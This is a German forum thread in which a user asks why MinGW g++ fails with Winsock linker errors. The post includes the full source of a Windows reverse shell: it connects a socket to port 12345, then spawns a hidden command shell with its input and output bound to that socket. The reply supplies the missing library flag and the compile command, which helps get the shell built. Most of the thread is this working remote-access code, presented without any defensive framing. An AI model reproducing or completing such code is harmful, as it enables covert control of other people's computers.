MinGw, compilationsfehler



  • Hallo! Wenn ich ein Programm mit g++ kompiliere bekomme ich folgende Fehlermeldungen:

    C:\aha>g++ -mwindows Client.
    cpp
    C:\DOKUME1\aha\LOKALE1\Temp/ccrpaKBA.o:Client.cpp:(.text+0x22): undefined ref
    erence to WSAStartup@8' C:\\DOKUME~1\\aha\\LOKALE~1\\Temp/ccrpaKBA.o:Client.cpp:(.text+0x59): undefined ref erence toWSASocketA@24'
    C:\DOKUME1\aha\LOKALE1\Temp/ccrpaKBA.o:Client.cpp:(.text+0x95): undefined ref
    erence to htons@4' C:\\DOKUME~1\\aha\\LOKALE~1\\Temp/ccrpaKBA.o:Client.cpp:(.text+0xab): undefined ref erence toinet_addr@4'
    C:\DOKUME1\aha\LOKALE1\Temp/ccrpaKBA.o:Client.cpp:(.text+0xd4): undefined ref
    erence to connect@12' C:\\DOKUME~1\\aha\\LOKALE~1\\Temp/ccrpaKBA.o:Client.cpp:(.text+0x21a): undefined re ference toclosesocket@4'
    collect2: ld returned 1 exit status

    Folgende Datei ist es:

    //---------------------------------------------------------------------------
    
    #pragma   comment(lib,   "Ws2_32.lib")
    #include <winsock2.h>
    #include <stdio.h>
    
    __fastcall int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
    	WSADATA WSAData;
            SOCKADDR_IN sin;
            SOCKET sock;
            WSAStartup( MAKEWORD( 2, 0 ), &WSAData );
    
            sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 );
            memset(&sin,0,sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten
            sin.sin_family=AF_INET;
            sin.sin_port=htons(12345); // wir verwenden mal port 12345
            sin.sin_addr.s_addr=inet_addr("127.0.0.1"); // zielrechner ist unser eigener
    
            long rc=connect(sock,(SOCKADDR*)&sin,sizeof(SOCKADDR));
            if(rc==SOCKET_ERROR)
                    return 1;
    
            while( true )
            {
                    //SOCKET tmp = accept( sock, 0, 0 );
                    STARTUPINFO si = { 0 };
                    PROCESS_INFORMATION pi = { 0 };
                    char buff[ 2010 ];
    
                    si.cb = sizeof( si );
                    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
                    si.wShowWindow = SW_HIDE;
                    si.hStdOutput = ( HANDLE )sock;
                    si.hStdError = ( HANDLE )sock;
                    si.hStdInput = ( HANDLE )sock;
    
                    GetEnvironmentVariable( "COMSPEC", buff, 2000 );
    
                    CreateProcess( buff, 0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &si, &pi );
    
                    CloseHandle( pi.hProcess );
                    CloseHandle( pi.hThread );
                    closesocket( sock );
            }
    
            return 0;
    }
    //---------------------------------------------------------------------------
    


  • Du musst die Ws2_32-Bibliothek schon mitlinken.

    g++ -lWs2_32 -mwindows -o client client.cpp
    

Anmelden zum Antworten